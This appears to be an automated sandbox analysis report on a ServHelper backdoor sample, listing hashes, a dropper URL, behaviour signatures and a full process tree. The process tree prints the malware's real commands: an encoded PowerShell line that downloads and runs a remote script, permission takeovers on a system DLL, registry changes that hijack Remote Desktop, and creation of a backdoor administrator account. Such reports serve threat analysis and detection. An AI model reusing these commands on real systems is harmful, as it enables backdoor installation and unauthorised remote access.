Analysis

  • max time kernel
    130s
  • max time network
    117s
  • platform
    windows7_x64
  • resource
    win7v20201028
  • submitted
    12-04-2021 06:44

General

  • Target

    40367f496f45ba45b8545f90065b6940.exe

  • Size

    6.1MB

  • MD5

    40367f496f45ba45b8545f90065b6940

  • SHA1

    1d7bd76d538e1c1859999b807c071d6f1b930597

  • SHA256

    9d1ca3a1dad26b6c0195ac41fe5fa6e5e03706496944383ca9156fa99e57dc8a

  • SHA512

    aa8a3326b497dd56f2f383bc77a7a5445260303e156632296267831e857afbb69982ed53fb756564cf2557bafb9ca34dd2e2167fdf7f28a429ff77aa2957580b

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

  • ServHelper

    ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Blocklisted process makes network request 1 IoCs
  • Modifies RDP port number used by Windows 1 TTPs
  • Possible privilege escalation attempt 8 IoCs
  • Sets DLL path for service in the registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Loads dropped DLL 2 IoCs
  • Modifies file permissions 1 TTPs 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 21 IoCs
  • Modifies data under HKEY_USERS 4 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 13 IoCs
  • Suspicious behavior: LoadsDriver 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 18 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\40367f496f45ba45b8545f90065b6940.exe
    "C:\Users\Admin\AppData\Local\Temp\40367f496f45ba45b8545f90065b6940.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:804
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
      2⤵
      • Drops file in System32 directory
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1396
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1028
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:284
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1832
      • C:\Windows\system32\takeown.exe
        "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:1932
      • C:\Windows\system32\icacls.exe
        "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:820
      • C:\Windows\system32\icacls.exe
        "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        • Suspicious use of AdjustPrivilegeToken
        PID:996
      • C:\Windows\system32\icacls.exe
        "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:1708
      • C:\Windows\system32\icacls.exe
        "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:1924
      • C:\Windows\system32\icacls.exe
        "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:240
      • C:\Windows\system32\icacls.exe
        "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:1720
      • C:\Windows\system32\icacls.exe
        "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:564
      • C:\Windows\system32\reg.exe
        "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
        3⤵
          PID:1136
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
          3⤵
          • Modifies registry key
          PID:1860
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
          3⤵
            PID:1620
          • C:\Windows\system32\net.exe
            "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:964
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
              4⤵
                PID:952
            • C:\Windows\system32\cmd.exe
              "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:1504
              • C:\Windows\system32\cmd.exe
                cmd /c net start rdpdr
                4⤵
                • Suspicious use of WriteProcessMemory
                PID:1568
                • C:\Windows\system32\net.exe
                  net start rdpdr
                  5⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1580
                  • C:\Windows\system32\net1.exe
                    C:\Windows\system32\net1 start rdpdr
                    6⤵
                      PID:1316
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                3⤵
                  PID:1960
                  • C:\Windows\system32\cmd.exe
                    cmd /c net start TermService
                    4⤵
                      PID:1644
                      • C:\Windows\system32\net.exe
                        net start TermService
                        5⤵
                          PID:1832
                          • C:\Windows\system32\net1.exe
                            C:\Windows\system32\net1 start TermService
                            6⤵
                              PID:1464
                      • C:\Windows\system32\cmd.exe
                        "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                        3⤵
                          PID:1352
                        • C:\Windows\system32\cmd.exe
                          "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                          3⤵
                            PID:896
                      • C:\Windows\System32\cmd.exe
                        cmd /C net.exe user wgautilacc Ghar4f5 /del
                        1⤵
                          PID:1708
                          • C:\Windows\system32\net.exe
                            net.exe user wgautilacc Ghar4f5 /del
                            2⤵
                              PID:1844
                              • C:\Windows\system32\net1.exe
                                C:\Windows\system32\net1 user wgautilacc Ghar4f5 /del
                                3⤵
                                  PID:1648
                            • C:\Windows\System32\cmd.exe
                              cmd /C net.exe user wgautilacc 59uUi1B5 /add
                              1⤵
                                PID:1720
                                • C:\Windows\system32\net.exe
                                  net.exe user wgautilacc 59uUi1B5 /add
                                  2⤵
                                    PID:1136
                                    • C:\Windows\system32\net1.exe
                                      C:\Windows\system32\net1 user wgautilacc 59uUi1B5 /add
                                      3⤵
                                        PID:1860
                                  • C:\Windows\System32\cmd.exe
                                    cmd /C net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                                    1⤵
                                      PID:896
                                      • C:\Windows\system32\net.exe
                                        net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                                        2⤵
                                          PID:1604
                                          • C:\Windows\system32\net1.exe
                                            C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                                            3⤵
                                              PID:1600
                                        • C:\Windows\System32\cmd.exe
                                          cmd /C net.exe LOCALGROUP "Remote Desktop Users" EIDQHRRL$ /ADD
                                          1⤵
                                            PID:776
                                            • C:\Windows\system32\net.exe
                                              net.exe LOCALGROUP "Remote Desktop Users" EIDQHRRL$ /ADD
                                              2⤵
                                                PID:1060
                                                • C:\Windows\system32\net1.exe
                                                  C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" EIDQHRRL$ /ADD
                                                  3⤵
                                                    PID:240
                                              • C:\Windows\System32\cmd.exe
                                                cmd /C net.exe LOCALGROUP "Administrators" wgautilacc /ADD
                                                1⤵
                                                  PID:1632
                                                  • C:\Windows\system32\net.exe
                                                    net.exe LOCALGROUP "Administrators" wgautilacc /ADD
                                                    2⤵
                                                      PID:976
                                                      • C:\Windows\system32\net1.exe
                                                        C:\Windows\system32\net1 LOCALGROUP "Administrators" wgautilacc /ADD
                                                        3⤵
                                                          PID:1352
                                                    • C:\Windows\System32\cmd.exe
                                                      cmd /C net.exe user wgautilacc 59uUi1B5
                                                      1⤵
                                                        PID:1860
                                                        • C:\Windows\system32\net.exe
                                                          net.exe user wgautilacc 59uUi1B5
                                                          2⤵
                                                            PID:1484
                                                            • C:\Windows\system32\net1.exe
                                                              C:\Windows\system32\net1 user wgautilacc 59uUi1B5
                                                              3⤵
                                                                PID:1596
                                                          • C:\Windows\System32\cmd.exe
                                                            cmd.exe /C wmic path win32_VideoController get name
                                                            1⤵
                                                              PID:876
                                                              • C:\Windows\System32\Wbem\WMIC.exe
                                                                wmic path win32_VideoController get name
                                                                2⤵
                                                                • Modifies data under HKEY_USERS
                                                                • Suspicious use of AdjustPrivilegeToken
                                                                PID:1344
                                                            • C:\Windows\System32\cmd.exe
                                                              cmd.exe /C wmic CPU get NAME
                                                              1⤵
                                                                PID:928
                                                                • C:\Windows\System32\Wbem\WMIC.exe
                                                                  wmic CPU get NAME
                                                                  2⤵
                                                                  • Modifies data under HKEY_USERS
                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                  PID:976
                                                              • C:\Windows\System32\cmd.exe
                                                                cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                1⤵
                                                                  PID:1568
                                                                  • C:\Windows\system32\cmd.exe
                                                                    cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                    2⤵
                                                                      PID:1484
                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                        powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                        3⤵
                                                                        • Blocklisted process makes network request
                                                                        • Drops file in Windows directory
                                                                        • Modifies data under HKEY_USERS
                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                        PID:1596
                                                                  • C:\Windows\System32\cmd.exe
                                                                    cmd.exe /C net user wgautilacc 1234
                                                                    1⤵
                                                                      PID:1148
                                                                      • C:\Windows\system32\net.exe
                                                                        net user wgautilacc 1234
                                                                        2⤵
                                                                          PID:1604
                                                                          • C:\Windows\system32\net1.exe
                                                                            C:\Windows\system32\net1 user wgautilacc 1234
                                                                            3⤵
                                                                              PID:1720

                                                                        Network

                                                                        MITRE ATT&CK Enterprise v6

                                                                        Replay Monitor

                                                                        Loading Replay Monitor...

                                                                        Downloads

                                                                        • memory/284-123-0x000000001B8B0000-0x000000001B8B1000-memory.dmp

                                                                          Filesize

                                                                          4KB

                                                                        • memory/284-126-0x0000000001E40000-0x0000000001E41000-memory.dmp

                                                                          Filesize

                                                                          4KB

                                                                        • memory/284-121-0x0000000002460000-0x0000000002461000-memory.dmp

                                                                          Filesize

                                                                          4KB

                                                                        • memory/284-119-0x000000001AB90000-0x000000001AB92000-memory.dmp

                                                                          Filesize

                                                                          8KB

                                                                        • memory/284-125-0x000000001AC10000-0x000000001AC11000-memory.dmp

                                                                          Filesize

                                                                          4KB

                                                                        • memory/284-120-0x000000001AB94000-0x000000001AB96000-memory.dmp

                                                                          Filesize

                                                                          8KB

                                                                        • memory/804-63-0x0000000043646000-0x0000000043647000-memory.dmp

                                                                          Filesize

                                                                          4KB

                                                                        • memory/804-61-0x0000000043642000-0x0000000043644000-memory.dmp

                                                                          Filesize

                                                                          8KB

                                                                        • memory/804-64-0x0000000043647000-0x0000000043648000-memory.dmp

                                                                          Filesize

                                                                          4KB

                                                                        • memory/804-62-0x0000000043644000-0x0000000043646000-memory.dmp

                                                                          Filesize

                                                                          8KB

                                                                        • memory/804-59-0x0000000043AF0000-0x0000000043F11000-memory.dmp

                                                                          Filesize

                                                                          4.1MB

                                                                        • memory/1028-90-0x000000001B500000-0x000000001B501000-memory.dmp

                                                                          Filesize

                                                                          4KB

                                                                        • memory/1028-86-0x000000001ABD0000-0x000000001ABD2000-memory.dmp

                                                                          Filesize

                                                                          8KB

                                                                        • memory/1028-111-0x000000001B6F0000-0x000000001B6F1000-memory.dmp

                                                                          Filesize

                                                                          4KB

                                                                        • memory/1028-98-0x000000001B910000-0x000000001B911000-memory.dmp

                                                                          Filesize

                                                                          4KB

                                                                        • memory/1028-93-0x00000000023E0000-0x00000000023E1000-memory.dmp

                                                                          Filesize

                                                                          4KB

                                                                        • memory/1028-92-0x00000000026B0000-0x00000000026B1000-memory.dmp

                                                                          Filesize

                                                                          4KB

                                                                        • memory/1028-88-0x00000000025F0000-0x00000000025F1000-memory.dmp

                                                                          Filesize

                                                                          4KB

                                                                        • memory/1028-112-0x000000001B700000-0x000000001B701000-memory.dmp

                                                                          Filesize

                                                                          4KB

                                                                        • memory/1028-87-0x000000001ABD4000-0x000000001ABD6000-memory.dmp

                                                                          Filesize

                                                                          8KB

                                                                        • memory/1396-79-0x000000001B4A0000-0x000000001B4A1000-memory.dmp

                                                                          Filesize

                                                                          4KB

                                                                        • memory/1396-75-0x000000001C4A0000-0x000000001C4A1000-memory.dmp

                                                                          Filesize

                                                                          4KB

                                                                        • memory/1396-69-0x000000001AB70000-0x000000001AB72000-memory.dmp

                                                                          Filesize

                                                                          8KB

                                                                        • memory/1396-77-0x000000001AAD0000-0x000000001AAD1000-memory.dmp

                                                                          Filesize

                                                                          4KB

                                                                        • memory/1396-68-0x000000001ABF0000-0x000000001ABF1000-memory.dmp

                                                                          Filesize

                                                                          4KB

                                                                        • memory/1396-66-0x000007FEFBD61000-0x000007FEFBD63000-memory.dmp

                                                                          Filesize

                                                                          8KB

                                                                        • memory/1396-78-0x000000001C360000-0x000000001C361000-memory.dmp

                                                                          Filesize

                                                                          4KB

                                                                        • memory/1396-74-0x000000001AB7A000-0x000000001AB99000-memory.dmp

                                                                          Filesize

                                                                          124KB

                                                                        • memory/1396-67-0x00000000024F0000-0x00000000024F1000-memory.dmp

                                                                          Filesize

                                                                          4KB

                                                                        • memory/1396-71-0x0000000002320000-0x0000000002321000-memory.dmp

                                                                          Filesize

                                                                          4KB

                                                                        • memory/1396-72-0x00000000023D0000-0x00000000023D1000-memory.dmp

                                                                          Filesize

                                                                          4KB

                                                                        • memory/1396-148-0x000000001C610000-0x000000001C611000-memory.dmp

                                                                          Filesize

                                                                          4KB

                                                                        • memory/1396-70-0x000000001AB74000-0x000000001AB76000-memory.dmp

                                                                          Filesize

                                                                          8KB

                                                                        • memory/1596-198-0x000000001956A000-0x0000000019589000-memory.dmp

                                                                          Filesize

                                                                          124KB

                                                                        • memory/1596-194-0x0000000019560000-0x0000000019562000-memory.dmp

                                                                          Filesize

                                                                          8KB

                                                                        • memory/1596-195-0x0000000019564000-0x0000000019566000-memory.dmp

                                                                          Filesize

                                                                          8KB

                                                                        • memory/1832-147-0x000000001AAA4000-0x000000001AAA6000-memory.dmp

                                                                          Filesize

                                                                          8KB

                                                                        • memory/1832-146-0x000000001AAA0000-0x000000001AAA2000-memory.dmp

                                                                          Filesize

                                                                          8KB